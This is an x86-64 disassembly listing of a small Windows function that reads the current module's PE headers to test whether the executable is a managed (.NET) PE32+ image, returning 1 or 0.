call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015060
xor al, al
jmp 0x1400150e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015073
xor al, al
jmp 0x1400150e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001509d
xor al, al
jmp 0x1400150e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400150b1
xor al, al
jmp 0x1400150e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400150c3
xor al, al
jmp 0x1400150e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400150df
xor al, al
jmp 0x1400150e1
mov al, 1
add rsp, 0x38
ret